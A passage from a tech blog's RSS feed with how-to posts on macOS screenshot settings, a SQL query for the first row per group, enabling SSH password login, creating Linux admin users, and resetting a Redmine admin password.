<p>Both ways change the same <code>location</code> setting in <code>com.apple.screencapture</code>, so the folder you set last wins. macOS ignores the folder while <strong>Save to</strong> is set to Clipboard or an app; the fix is under Common mistakes below. To see the current value:</p>
<pre><code class="language-bash">defaults read com.apple.screencapture location
</code></pre>
<p><code>The domain/default pair of (com.apple.screencapture, location) does not exist</code> means you never changed the folder, so it&#39;s still the Desktop.</p>
<h2>Reset the screenshot location to Desktop</h2>
<p>Delete the setting, and macOS goes back to its default folder, the Desktop:</p>
<pre><code class="language-bash">defaults delete com.apple.screencapture location
killall SystemUIServer
</code></pre>
<p>Or set the Desktop path explicitly:</p>
<pre><code class="language-bash">defaults write com.apple.screencapture location ~/Desktop
killall SystemUIServer
</code></pre>
<p>Without Terminal: Shift-Command-5, <strong>Options</strong>, <strong>Save to</strong>, <strong>Desktop</strong>.</p>
<h2>Copy a screenshot to the clipboard instead of a file</h2>
<p>Hold Control along with the usual keys: Control-Shift-Command-3 for the whole screen, Control-Shift-Command-4 for a selection. Nothing is saved; paste the image with Command-V. To make this the default, choose <strong>Clipboard</strong> under <strong>Save to</strong>.</p>
<h2>The screenshot isn&#39;t in the folder yet</h2>
<p>After each shot a thumbnail floats in the bottom-right corner for a few seconds, and the file is saved when it goes away. Swipe the thumbnail to the right to save at once. To turn the thumbnail off, uncheck <strong>Show Floating Thumbnail</strong> in <strong>Options</strong> or run:</p>
<pre><code class="language-bash">defaults write com.apple.screencapture show-thumbnail -bool false
</code></pre>
<h2>Other screenshot settings: format, shadow, file name</h2>
<p>These keys live in the same <code>com.apple.screencapture</code> domain.</p>
<p>File format. PNG is the default; <code>jpg</code>, <code>heic</code>, <code>pdf</code> and <code>tiff</code> also work:</p>
<pre><code class="language-bash">defaults write com.apple.screencapture type jpg
</code></pre>
<p>No shadow around windows you capture with Shift-Command-4 and then Space:</p>
<pre><code class="language-bash">defaults write com.apple.screencapture disable-shadow -bool true
</code></pre>
<p>File names start with &quot;Screenshot&quot; followed by the date and time. Change the prefix, or drop the date so files are numbered instead (Shot.png, Shot 1.png):</p>
<pre><code class="language-bash">defaults write com.apple.screencapture name &quot;Shot&quot;
defaults write com.apple.screencapture include-date -bool false
</code></pre>
<p>Finish with <code>killall SystemUIServer</code>. To undo a setting, delete its key, for example <code>defaults delete com.apple.screencapture type</code>.</p>
<h2>Common mistakes</h2>
<ul>
<li><code>defaults write com.apple.screencapture ~/Screenshots</code> without the word <code>location</code> fails with <code>Rep argument is not a dictionary</code> and <code>Defaults have not been changed.</code> The key goes before the path.</li>
<li>Screenshots still go to the clipboard or open in an app after the Terminal command. <strong>Save to</strong> is set to Clipboard, Mail, Messages or Preview, and the <code>location</code> command doesn&#39;t change that. Pick a folder in <strong>Options</strong>, or run <code>defaults write com.apple.screencapture target file</code> and then <code>killall SystemUIServer</code>.</li>
<li>The folder was deleted, renamed or sits on a drive that isn&#39;t connected, and screenshots stop saving. When macOS can&#39;t write to the folder, it says you don&#39;t have permission to save files in the location where screenshots are stored. Recreate the folder, pick another one, or reset the location to Desktop.</li>
<li>Looking in the folder while the thumbnail is still on screen. The file appears a few seconds later.</li>
</ul>
<p>More of my settings for a new Mac: <a href="https://koz.tv/posts/clean-mac-install-settings/">Configure clean MacBook</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>How to select first row in each group ordered by some columns</title>
      <link>https://koz.tv/posts/how-to-select-first-row-in-each-group-ordered-by-some-columns/</link>
      <guid isPermaLink="true">https://koz.tv/posts/how-to-select-first-row-in-each-group-ordered-by-some-columns/</guid>
      <pubDate>Wed, 31 Jan 2018 00:00:00 GMT</pubDate>
      <description>I’m just gonna show you an example how to select first row in each group of logins ordered by IsActive and Created columns, hope you will realise how it works.</description>
      <content:encoded><![CDATA[<p>I’m just gonna show you an example how to select first row in each group of logins ordered by IsActive and Created columns, hope you will realise how it works.</p>
<p>For example i have a table:</p>
<pre><code class="language-text">Id | Login | IsActive | Created
1  | test1 | 1        | 2016-01-01
2  | test1 | 0        | 2015-05-21
3  | test2 | 0        | 2016-07-03
4  | test2 | 0        | 2017-01-22
</code></pre>
<p>I want to select only one row per login, and this login should be active, if there’s no row where some login is active, I want to select the row that was created lately. So, in my case it’s row 1 and 4.</p>
<p>To solve this task I created this script:</p>
<pre><code class="language-sql">with cte as (
  select *,
  rank() over (partition by [Login] order by [IsActive] desc, Created desc) as [r]
  from [User]
)
SELECT * FROM cte where [r] = 1
</code></pre>
<p>With <strong>rank() over</strong> I sorted rows in order I needed to and saved it in column [r]. Then I selected only first row in each group with this: <code>SELECT * FROM cte where [r] = 1</code>.</p>
<p>If you need to to use it in join, just place block “with” on top, like this:</p>
<pre><code class="language-sql">with cte as (
  select *,
  rank() over (partition by [Login] order by [IsActive] desc, Created desc) as [r]
  from [User]
)
SELECT * FROM Employees emp
LEFT JOIN (SELECT * FROM cte where [r] = 1) u on emp.[Login]=u.[Login]
</code></pre>
]]></content:encoded>
    </item>
    <item>
      <title>How to enable SSH password authentication in Linux</title>
      <link>https://koz.tv/posts/allow-ssh-password-authentication/</link>
      <guid isPermaLink="true">https://koz.tv/posts/allow-ssh-password-authentication/</guid>
      <pubDate>Mon, 04 Dec 2017 00:00:01 GMT</pubDate>
      <description>Allow SSH password login on Ubuntu 24.04/26.04 and Debian: PasswordAuthentication yes, the sshd_config.d file that overrides it, root, fail2ban.</description>
      <content:encoded><![CDATA[<p>Run this on the server:</p>
<pre><code class="language-bash">echo &#39;PasswordAuthentication yes&#39; | sudo tee /etc/ssh/sshd_config.d/00-password.conf
sudo sshd -T | grep -i passwordauthentication
sudo systemctl restart ssh
</code></pre>
<p>The second command must print <code>passwordauthentication yes</code>. On Ubuntu 24.04 it may print <code>Missing privilege separation directory: /run/sshd</code> instead: run <code>sudo systemctl start ssh</code> and repeat. On Fedora, RHEL and AlmaLinux the service is <code>sshd</code>: <code>sudo systemctl restart sshd</code>. Then log in from your computer:</p>
<pre><code class="language-bash">ssh alice@server
</code></pre>
<p>Keep your current session open until the password login works: if the new config is broken, it&#39;s your way back in.</p>
<p>Tested on Ubuntu 24.04 and 26.04, Debian 12 and 13, with password logins from another host.</p>
<h2>Why PasswordAuthentication yes in sshd_config does nothing</h2>
<p>Editing <code>/etc/ssh/sshd_config</code>, as this post advised in 2017, often does nothing on a cloud server. Near the top of that file Ubuntu, Debian, Fedora and RHEL 9+ have:</p>
<pre><code class="language-ini">Include /etc/ssh/sshd_config.d/*.conf
</code></pre>
<p>RHEL 8 and CentOS 7 have neither the line nor <code>sshd_config.d</code>: the first command at the top fails with <code>No such file or directory</code>. Set <code>PasswordAuthentication yes</code> in <code>/etc/ssh/sshd_config</code> itself.</p>
<p>sshd keeps the first value it reads for each option (<a href="https://manpages.ubuntu.com/manpages/noble/man5/sshd_config.5.html" target="_blank" rel="noopener">sshd_config(5)</a>). Drop-in files come first, in alphabetical order, so any of them can say <code>no</code> and beat the main file. On cloud images it&#39;s usually <code>50-cloud-init.conf</code>, written by cloud-init from its <code>ssh_pwauth</code> setting. <code>00-password.conf</code> sorts before it.</p>
<p>To find who sets the option:</p>
<pre><code class="language-bash">sudo sh -c &#39;grep -i passwordauthentication /etc/ssh/sshd_config.d/*.conf /etc/ssh/sshd_config&#39;
</code></pre>
<p>The first line without <code>#</code> wins, and you can change its <code>no</code> to <code>yes</code> right there. sshd reads only <code>*.conf</code> files: <code>00-password</code> without the extension is ignored.</p>
<p>Without <code>sh -c</code>, your own shell expands <code>*.conf</code> before sudo runs. On Fedora and RHEL 9+ only root can read <code>sshd_config.d</code>, so grep prints <code>No such file or directory</code> and shows only the main file.</p>
<p><code>sshd -T</code> shows the new value before the restart; the running sshd keeps the old one until then.</p>
<h2>How to connect to SSH with a password</h2>
<p>On your computer:</p>
<pre><code class="language-bash">ssh alice@server
</code></pre>
<p><code>alice</code> is your user on the server, <code>server</code> is its IP address or domain name. On the first connection ssh shows the server&#39;s key fingerprint: type <code>yes</code>. Then it asks for the password and shows nothing as you type.</p>
<p>If you have SSH keys, ssh tries them first. To go straight to the password:</p>
<pre><code class="language-bash">ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no alice@server
</code></pre>
<h2>Restart SSH on Ubuntu 24.04: ssh, not sshd</h2>
<p>Since 22.10 Ubuntu <a href="https://discourse.ubuntu.com/t/sshd-now-uses-socket-based-activation-ubuntu-22-10-and-later/30189" target="_blank" rel="noopener">starts sshd through socket activation</a>: systemd listens on port 22 (<code>ssh.socket</code>) and starts <code>ssh.service</code> on the first connection. On 24.04 that means:</p>
<ul>
<li><code>sudo systemctl restart sshd</code> fails: <code>Unit sshd.service not found</code>. On Ubuntu 26.04 and Debian both names work.</li>
<li><code>sudo systemctl reload ssh</code> fails with <code>ssh.service is not active, cannot reload</code> if nobody has connected since boot. <code>restart</code> works either way.</li>
<li><code>sudo sshd -t</code> and <code>sudo sshd -T</code> say <code>Missing privilege separation directory: /run/sshd</code> for the same reason: systemd creates that directory when <code>ssh.service</code> starts and deletes it when the service stops. Run <code>sudo systemctl start ssh</code> and repeat.</li>
</ul>
<p>A new <code>Port</code> or <code>ListenAddress</code> also needs <code>sudo systemctl daemon-reload</code> and <code>sudo systemctl restart ssh.socket</code>, per the package&#39;s README.Debian.</p>
<p>Run <code>sudo sshd -t</code> before restarting: silence means the config is valid, otherwise it names the file and line. With a typo the restart fails and new connections are refused, but open sessions survive.</p>
<h2>Allow root login with a password</h2>
<p>For root, <code>PasswordAuthentication yes</code> isn&#39;t enough. The default, <code>PermitRootLogin prohibit-password</code>, lets root in only with a key: the right password gets <code>Permission denied, please try again</code>. <code>sshd -T</code> may show it under the old name <code>without-password</code>. To allow it:</p>
<pre><code class="language-bash">echo &#39;PasswordAuthentication yes&#39; | sudo tee /etc/ssh/sshd_config.d/00-password.conf
echo &#39;PermitRootLogin yes&#39; | sudo tee /etc/ssh/sshd_config.d/00-root.conf
sudo passwd root
sudo systemctl restart ssh
</code></pre>
<p>The first command is the one from the top of this post. Without it the <code>no</code> in <code>50-cloud-init.conf</code> still wins, and root gets <code>Permission denied (publickey)</code>.</p>
<p>Ubuntu <a href="https://ubuntu.com/server/docs/how-to/security/user-management/" target="_blank" rel="noopener">locks the root password</a> at install, hence <code>passwd</code>. A regular user with sudo is safer: <a href="https://koz.tv/posts/create-admin-user-in-ubuntu-linux/">how to create an admin user</a>.</p>
<h2>Password login for one user or one network</h2>
<p>To allow passwords only for one account or your home network, add this to the end of <code>/etc/ssh/sshd_config</code>:</p>
<pre><code class="language-ini">Match User alice
    PasswordAuthentication yes

Match Address 192.168.1.0/24
    PasswordAuthentication yes
</code></pre>
<p>A <code>Match</code> block lasts until the next <code>Match</code> or the end of the file, and its values beat the global ones, including the <code>no</code> in <code>50-cloud-init.conf</code>. Check a specific connection:</p>
<pre><code class="language-bash">sudo sshd -T -C user=alice,host=laptop,addr=203.0.113.5 | grep -i passwordauthentication
</code></pre>
<h2>The password is right, but login fails</h2>
<ul>
<li><strong>The account has no password.</strong> Cloud-init creates the default user, like <code>ubuntu</code>, with password login <a href="https://docs.cloud-init.io/en/latest/reference/modules.html" target="_blank" rel="noopener">locked</a>. Set one: <code>sudo passwd ubuntu</code>.</li>
<li><strong><code>Too many authentication failures</code>.</strong> ssh-agent offers every key first, and after six failures the server hangs up. Skip the keys with <code>-o PubkeyAuthentication=no</code>, as in &quot;How to connect to SSH with a password&quot; above.</li>
<li><strong><code>Permission denied (publickey)</code> with no prompt.</strong> Passwords are off: check <code>sshd -T</code>. <code>ssh -o BatchMode=yes alice@server</code> shows the offered methods; <code>(publickey,password)</code> means passwords are on.</li>
</ul>
<h2>Do I need KbdInteractiveAuthentication?</h2>
<p>Not for a password prompt: <code>PasswordAuthentication yes</code> is enough, and Ubuntu and Debian ship <code>KbdInteractiveAuthentication no</code>. It matters when you turn passwords off. With <code>UsePAM yes</code>, as Ubuntu and Debian ship it, <code>KbdInteractiveAuthentication yes</code> still asks for the password through PAM, so set both to <code>no</code>. Older configs, like <code>50-redhat.conf</code> on AlmaLinux, use its old name, <code>ChallengeResponseAuthentication</code>.</p>
<h2>Can I put the password in ~/.ssh/config?</h2>
<p>No: the client has no such option, and <code>Password</code> gets <code>Bad configuration option: password</code>. Copy a key while password login is on:</p>
<pre><code class="language-bash">ssh-copy-id alice@server
</code></pre>
<p>No key yet? <code>ssh-keygen -t ed25519</code> creates one (<a href="https://koz.tv/posts/how-to-generate-and-copy-ssh-key-in-mac-os/">more on SSH keys on a Mac</a>). In a script that can&#39;t use a key, <code>sshpass -e</code> reads the password from <code>SSHPASS</code>:</p>
<pre><code class="language-bash">SSHPASS=&quot;$SERVER_PASSWORD&quot; sshpass -e ssh -o StrictHostKeyChecking=accept-new alice@server
</code></pre>
<p><code>accept-new</code> saves the key of a server ssh hasn&#39;t seen. Without it the first connection stops at the host key question, and sshpass silently exits with code 6.</p>
<h2>Protect password login with fail2ban</h2>
<p>Passwords can be guessed. Use a long one and fail2ban:</p>
<pre><code class="language-bash">sudo apt install fail2ban
sudo fail2ban-client status sshd
</code></pre>
<p>On Ubuntu 24.04, 26.04 and Debian 13 the <code>sshd</code> jail works out of the box: five failed logins in 10 minutes ban the IP for 10 minutes. On Debian 12 fail2ban won&#39;t start (<code>Have not found any log file for sshd jail</code>): Debian 12 <a href="https://www.debian.org/releases/bookworm/amd64/release-notes/ch-information.en.html#changes-to-system-logging" target="_blank" rel="noopener">doesn&#39;t install rsyslog</a>, so there&#39;s no <code>/var/log/auth.log</code>. Point it at the journal and nftables, as Debian 13 does:</p>
<pre><code class="language-bash">printf &#39;[DEFAULT]\nbanaction = nftables\nbanaction_allports = nftables[type=allports]\nbackend = systemd\n&#39; | sudo tee /etc/fail2ban/jail.local
sudo systemctl restart fail2ban
</code></pre>
<p>Once your key is on the server, turn passwords off: <code>PasswordAuthentication no</code> and <code>KbdInteractiveAuthentication no</code> in <code>00-password.conf</code>, then restart ssh.</p>
]]></content:encoded>
    </item>
    <item>
      <title>How to create an admin user in Ubuntu and Linux</title>
      <link>https://koz.tv/posts/create-admin-user-in-ubuntu-linux/</link>
      <guid isPermaLink="true">https://koz.tv/posts/create-admin-user-in-ubuntu-linux/</guid>
      <pubDate>Mon, 04 Dec 2017 00:00:00 GMT</pubDate>
      <description>Create an admin user on Ubuntu 24.04/26.04 or Debian with adduser and the sudo group, or on Fedora/RHEL with wheel. Plus scripts, passwordless sudo, SSH keys.</description>
      <content:encoded><![CDATA[<p>Run this from an account that already has sudo:</p>
<pre><code class="language-bash">sudo adduser alice
sudo usermod -aG sudo alice
</code></pre>
<p>Replace <code>alice</code> with your username. On Ubuntu (24.04 and 26.04 LTS) and Debian that&#39;s it: <code>/etc/sudoers</code> gives the <code>sudo</code> group full root rights. On Fedora, RHEL, CentOS, Rocky and AlmaLinux the group is <code>wheel</code>.</p>
<p>Tested on Ubuntu 24.04 and 26.04, Debian 12 and 13, Fedora 45, AlmaLinux 9 and 10.</p>
<h2>What adduser asks</h2>
<p><code>adduser</code> creates a group and home directory for the user and sets <code>/bin/bash</code> as the shell, then asks for:</p>
<ul>
<li>the password, twice;</li>
<li>Full Name, Room Number, Work Phone, Home Phone, Other: Enter skips each one;</li>
<li><code>Is the information correct? [Y/n]</code>: Enter.</li>
</ul>
<p><code>sudo adduser alice sudo</code> (user, then group) does the same as the <code>usermod</code> line.</p>
<h2>Create an admin user without prompts</h2>
<p>For scripts, use <code>useradd</code>. Without <code>-m</code> it creates no home directory, and on Ubuntu its default shell is <code>/bin/sh</code>, so pass both:</p>
<pre><code class="language-bash">sudo useradd -m -s /bin/bash -G sudo alice
sudo passwd alice
</code></pre>
<p>In a script, use <code>chpasswd</code> with the password in a variable, so it isn&#39;t written in the script or visible in the process list:</p>
<pre><code class="language-bash">printf &#39;%s:%s\n&#39; alice &quot;$ALICE_PASSWORD&quot; | sudo chpasswd
</code></pre>
<p>Use <code>printf</code>, not <code>echo</code>: in <code>/bin/sh</code> on Ubuntu and Debian, <code>echo</code> mangles backslashes in the password.</p>
<p>For an account that logs in only with an SSH key:</p>
<pre><code class="language-bash">sudo adduser --disabled-password --gecos &quot;&quot; alice
sudo usermod -aG sudo alice
</code></pre>
<p>This user has no password, yet <code>sudo</code> will ask for one. Set it with <code>sudo passwd alice</code> or allow passwordless sudo (below).</p>
<h2>Check that the user is an admin</h2>
<pre><code class="language-bash">groups alice
sudo -l -U alice
</code></pre>
<p><code>groups</code> must list <code>sudo</code> (<code>wheel</code> on Fedora/RHEL), and <code>sudo -l -U</code> must include <code>(ALL : ALL) ALL</code> (<code>(ALL) ALL</code> on Fedora/RHEL). For a regular user it says <code>User alice is not allowed to run sudo</code>. The real test is to log in as alice:</p>
<pre><code class="language-bash">su - alice
sudo whoami   # prints root
</code></pre>
<h2>&quot;alice is not in the sudoers file&quot;: log in again</h2>
<p>With classic sudo (Ubuntu 24.04, Debian, Fedora, RHEL) groups are fixed at login. If alice already had a session open, <code>usermod</code> doesn&#39;t change it: <code>groups</code> inside that session shows the old list, and sudo replies <code>alice is not in the sudoers file</code>. She has to log out and back in, or reconnect over SSH. <code>groups alice</code> reads <code>/etc/group</code> and shows <code>sudo</code> right away, so it won&#39;t reveal the problem.</p>
<p>Ubuntu 26.04 uses sudo-rs by default. It reads <code>/etc/group</code> on every call, so new rights work in an open session at once. A user without them gets <code>I&#39;m sorry alice. I&#39;m afraid I can&#39;t do that</code>.</p>
<h2>Create an admin user on Debian</h2>
<p>Same commands, same <code>sudo</code> group. One catch: if you set a root password in the Debian installer, it doesn&#39;t install sudo and doesn&#39;t add your user to the group. Fix it as root:</p>
<pre><code class="language-bash">su -
apt install sudo
usermod -aG sudo alice
</code></pre>
<p>Keep the dash in <code>su -</code>. Plain <code>su</code> on Debian keeps your <code>PATH</code> without <code>/usr/sbin</code>, and you get <code>usermod: command not found</code>.</p>
<h2>Fedora, RHEL, CentOS: the wheel group</h2>
<pre><code class="language-bash">sudo useradd alice
sudo passwd alice
sudo usermod -aG wheel alice
</code></pre>
<p>Here <code>adduser</code> is a symlink to <code>useradd</code>: it asks nothing and leaves the account without a password, so don&#39;t skip <code>passwd</code>. The home directory and <code>/bin/bash</code> are the defaults.</p>
<h2>Passwordless sudo</h2>
<p>Put a rule in <code>/etc/sudoers.d</code> and check its syntax first:</p>
<pre><code class="language-bash">t=$(mktemp)
echo &#39;alice ALL=(ALL) NOPASSWD:ALL&#39; &gt; &quot;$t&quot;
sudo visudo -cf &quot;$t&quot; &amp;&amp; sudo install -m 0440 &quot;$t&quot; /etc/sudoers.d/alice
rm &quot;$t&quot;
</code></pre>
<p><code>visudo -cf</code> prints <code>parsed OK</code> or points at the error. <code>mktemp</code> creates a file only you can write to. Another user can create a fixed name like <code>/tmp/alice</code> before you, and you&#39;d install their rule. Don&#39;t put a dot in the file name: sudo skips files in <code>/etc/sudoers.d</code> that contain <code>.</code> or end in <code>~</code>, so <code>alice.conf</code> silently does nothing. For manual edits, <code>sudo visudo -f /etc/sudoers.d/alice</code> won&#39;t save a broken file.</p>
<h2>Add an SSH key for the new user</h2>
<p>From your laptop, if the server accepts password logins (<a href="https://koz.tv/posts/allow-ssh-password-authentication/">how to allow them</a>):</p>
<pre><code class="language-bash">ssh-copy-id alice@server
</code></pre>
<p>No key yet? <code>ssh-keygen -t ed25519</code> creates one (<a href="https://koz.tv/posts/how-to-generate-and-copy-ssh-key-in-mac-os/">more on SSH keys on a Mac</a>).</p>
<p>Without a password <code>ssh-copy-id</code> can&#39;t log in, so add the key on the server as an admin:</p>
<pre><code class="language-bash">sudo mkdir -p /home/alice/.ssh
echo &#39;ssh-ed25519 AAAA... you@laptop&#39; | sudo tee -a /home/alice/.ssh/authorized_keys
sudo chown -R alice:alice /home/alice/.ssh
sudo chmod 700 /home/alice/.ssh
sudo chmod 600 /home/alice/.ssh/authorized_keys
</code></pre>
<p>If <code>.ssh</code> or <code>authorized_keys</code> is writable by others, sshd ignores the key and answers <code>Permission denied</code>.</p>
<h2>Remove admin rights</h2>
<pre><code class="language-bash">sudo gpasswd -d alice sudo     # wheel on Fedora/RHEL
sudo rm /etc/sudoers.d/alice   # only if you created it
</code></pre>
<p>With classic sudo, sessions alice already has open keep sudo until she logs out. <code>sudo pkill -KILL -u alice</code> ends them, along with all her processes. On Ubuntu 26.04 (sudo-rs) the removal works at once.</p>
<p>On Ubuntu and Debian <code>sudo deluser alice sudo</code> also works. To delete the account with its home directory: <code>sudo deluser --remove-home alice</code> on Ubuntu and Debian, <code>sudo userdel -r alice</code> everywhere.</p>
<h2>Common mistakes</h2>
<ul>
<li><code>usermod -G sudo alice</code> without <code>-a</code> replaces all of alice&#39;s extra groups with <code>sudo</code> alone. Always use <code>-aG</code>.</li>
<li>For a root shell, <code>sudo -i</code> is enough. The <code>sudo su</code> from my 2017 version of this post stacks two tools for the same result.</li>
<li>Ubuntu&#39;s <code>/etc/sudoers</code> also has a <code>%admin</code> line, but no <code>admin</code> group exists by default. Use <code>sudo</code>.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Reset Redmine admin password and default login</title>
      <link>https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/</link>
      <guid isPermaLink="true">https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/</guid>
      <pubDate>Thu, 09 Nov 2017 00:00:00 GMT</pubDate>
      <description>Redmine's default login is admin / admin. Forgot the admin password? Reset it with one rails runner command, on Bitnami and Docker too, or via SQL.</description>
      <content:encoded><![CDATA[<p>A fresh Redmine install signs in with <strong>admin / admin</strong>. Since Redmine 3.3 it makes you change that password right after the first login.</p>
<p>Forgot the admin password? Run this on the server, in the Redmine directory (the one with <code>config/database.yml</code>):</p>
<pre><code class="language-bash">cd /path/to/redmine
RAILS_ENV=production bundle exec rails runner &#39;
  u = User.find_by_login(&quot;admin&quot;)
  u.password = u.password_confirmation = &quot;NewPass-2026!&quot;
  u.admin = true
  u.status = User::STATUS_ACTIVE
  u.save!
  puts &quot;#{u.login}: password changed, admin=#{u.admin}&quot;
&#39;
</code></pre>
<p>It sets a new password, grants admin rights and unlocks the account. Put another login instead of <code>admin</code> to make that user an administrator. Redmine hashes the password itself, so you don&#39;t edit the database by hand. I ran it on Redmine 5.1, 6.1 and 7.0 and on a Bitnami 6.0 image.</p>
<h2>Redmine default login and password</h2>
<ul>
<li>Package from redmine.org or the official <code>redmine</code> Docker image: <code>admin</code> / <code>admin</code>.</li>
<li>Bitnami VM or cloud image: login <code>user</code>, the password is in <code>/home/bitnami/bitnami_credentials</code> (read it with <code>sudo cat</code>). On AWS Lightsail: <code>cat $HOME/bitnami_application_password</code>.</li>
<li>Bitnami Docker image: <code>user</code> / <code>bitnami1</code> in the Debian-based images that used to be <code>bitnami/redmine</code> and now live in <code>bitnamilegacy/redmine</code>. In Bitnami Secure Images the login also defaults to <code>user</code>, and the password is whatever you set in <code>REDMINE_PASSWORD</code>.</li>
</ul>
<p>If the default doesn&#39;t work, someone has already changed it. Reset it with the command above.</p>
<h2>Rails console alternative</h2>
<p>The same steps one by one, handy when you want to look around first:</p>
<pre><code class="language-bash">cd /path/to/redmine
RAILS_ENV=production bundle exec rails console
</code></pre>
<pre><code class="language-ruby"># who the admins are
User.where(admin: true).pluck(:login)

u = User.find_by_login(&quot;admin&quot;)
u.password = u.password_confirmation = &quot;NewPass-2026!&quot;
u.admin = true
u.status = User::STATUS_ACTIVE
u.save!

# returns the user if the password works
User.try_to_login(&quot;admin&quot;, &quot;NewPass-2026!&quot;)
</code></pre>
<p>Leave the console with <code>exit</code>.</p>
<h2>Make a Redmine user an admin</h2>
<p>If you can sign in as another admin, go to Administration → Users, click the user&#39;s login, tick &quot;Administrator&quot; and click &quot;Save&quot;.</p>
<p>If no admin can sign in, run the command from the top of this post with that user&#39;s login instead of <code>admin</code>. If <code>rails runner</code> won&#39;t start, grant the rights in the database. The query runs as is in MySQL and PostgreSQL; put the user&#39;s login instead of <code>jsmith</code>:</p>
<pre><code class="language-sql">UPDATE users SET admin = true WHERE login = &#39;jsmith&#39;;
</code></pre>
<p>How to connect to the database is covered below, in the SQL section.</p>
<h2>Reset the password on Bitnami Redmine</h2>
<p>Current Bitnami VMs and cloud images keep Redmine in <code>/opt/bitnami/redmine</code>, and the admin login there is <code>user</code>, not <code>admin</code>:</p>
<pre><code class="language-bash">cd /opt/bitnami/redmine
RAILS_ENV=production bundle exec rails runner &#39;u = User.find_by_login(&quot;user&quot;); u.password = u.password_confirmation = &quot;NewPass-2026!&quot;; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!&#39;
</code></pre>
<p>Older stacks, like the one I ran in 2017 with Redmine 3.x, keep the app in <code>apps/redmine/htdocs</code> inside the stack directory and bring their own Ruby. Load its environment first, then run the same command:</p>
<pre><code class="language-bash"># the installer version lives in /opt/redmine-&lt;version&gt;
cd /opt/bitnami
./use_redmine
cd apps/redmine/htdocs
</code></pre>
<p>More on that layout in <a href="https://koz.tv/posts/installing-and-configuring-bitnami-redmine/">installing and configuring Bitnami Redmine</a> and <a href="https://koz.tv/posts/installing-plugins-in-redmine/">installing plugins</a>.</p>
<h2>Redmine in Docker</h2>
<p>Official <code>redmine</code> image: the working directory and <code>RAILS_ENV=production</code> are already set, so with a container named <code>redmine</code>:</p>
<pre><code class="language-bash">docker exec redmine bundle exec rails runner &#39;u = User.find_by_login(&quot;admin&quot;); u.password = u.password_confirmation = &quot;NewPass-2026!&quot;; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!&#39;
</code></pre>
<p>Bitnami image: the app is in <code>/opt/bitnami/redmine</code>:</p>
<pre><code class="language-bash">docker exec -w /opt/bitnami/redmine redmine bundle exec rails runner -e production &#39;u = User.find_by_login(&quot;user&quot;); u.password = u.password_confirmation = &quot;NewPass-2026!&quot;; u.admin = true; u.status = User::STATUS_ACTIVE; u.save!&#39;
</code></pre>
<p>The Bitnami image prints the <code>rails new</code> help after the command finishes. That&#39;s noise from its <code>bin/rails</code> stub; the password is already saved. Changing <code>REDMINE_PASSWORD</code> later won&#39;t help either: the image reads it only on first start.</p>
<h2>Reset the Redmine password via SQL</h2>
<p>Use this when Ruby on the server is broken and the runner won&#39;t start. The database name, user and password are in <code>config/database.yml</code>, section <code>production</code>:</p>
<pre><code class="language-bash">mysql -u redmine -p redmine            # MySQL or MariaDB
psql -U redmine -h localhost redmine   # PostgreSQL
</code></pre>
<p>That&#39;s how it looked on my Bitnami server back then, the database was called <code>bitnami_redmine</code>:</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/image1-480.avif 480w, https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/image1.avif 567w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/image1-480.webp" alt="MySQL console on a Bitnami Redmine server" width="567" height="289" style="aspect-ratio:567/289" srcset="https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/image1-480.webp 480w, https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/image1.webp 567w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Find the account. The <code>users</code> table also holds groups and the anonymous user, hence the <code>type</code> filter. <code>status</code> is 1 for active, 2 for registered, 3 for locked:</p>
<pre><code class="language-sql">SELECT id, login, admin, status FROM users WHERE type = &#39;User&#39;;
</code></pre>
<p>Set the password to <code>password</code>, unlock the account and make Redmine ask for a new password at the next login:</p>
<pre><code class="language-sql">UPDATE users
SET hashed_password = &#39;353e8061f2befecb6818ba0c034c632fb0bcae1b&#39;,
    salt = &#39;&#39;,
    status = 1,
    must_change_passwd = true
WHERE login = &#39;admin&#39;;
</code></pre>
<p>The query runs as is in MySQL and PostgreSQL. To make another user an admin, add <code>admin = true</code> to the <code>SET</code> and put their login in <code>WHERE</code>.</p>
<h3>Why the password is &quot;password&quot;</h3>
<p>Redmine compares <code>hashed_password</code> with <code>SHA1(salt + SHA1(password))</code>, see <code>check_password?</code> in <a href="https://github.com/redmine/redmine/blob/master/app/models/user.rb" target="_blank" rel="noopener">app/models/user.rb</a>. With an empty salt that&#39;s <code>SHA1(SHA1(password))</code>, and <code>353e8061…</code> is exactly <code>SHA1(SHA1(&quot;password&quot;))</code>. Once you change the password in the UI, Redmine generates a fresh random salt.</p>
<p>To set your own password, MySQL and MariaDB compute the hash in place:</p>
<pre><code class="language-sql">UPDATE users
SET hashed_password = SHA1(SHA1(&#39;My-own-Pass_2026&#39;)), salt = &#39;&#39;, status = 1
WHERE login = &#39;admin&#39;;
</code></pre>
<p>PostgreSQL has no built-in SHA1, so compute the hash in the shell and paste it into the <code>UPDATE</code>. On macOS use <code>shasum</code> instead of <code>sha1sum</code>:</p>
<pre><code class="language-bash">printf &#39;%s&#39; &#39;My-own-Pass_2026&#39; | sha1sum | cut -c1-40 | tr -d &#39;\n&#39; | sha1sum | cut -c1-40
</code></pre>
<h2>Forgot your Redmine password as a regular user</h2>
<p>Click &quot;Lost password&quot; on the login page: Redmine emails a reset link if the admin left that option on and email delivery works. Otherwise ask an admin to set a new password in Administration → Users.</p>
<h2>When the reset doesn&#39;t work</h2>
<ul>
<li><code>undefined method &#39;password_confirmation=&#39; for nil</code> (older Ruby: <code>undefined method `password_confirmation=&#39; for nil:NilClass</code>): there&#39;s no user with that login. List them with <code>User.pluck(:login)</code>.</li>
<li><code>Validation failed: Password is too short (minimum is 8 characters)</code>: the new password has to pass the rules in Administration → Settings → Authentication.</li>
<li>Login still fails: the account may sign in through LDAP, and then Redmine checks the password there. Add <code>u.auth_source = nil</code> before <code>u.save!</code> to switch it to a local password.</li>
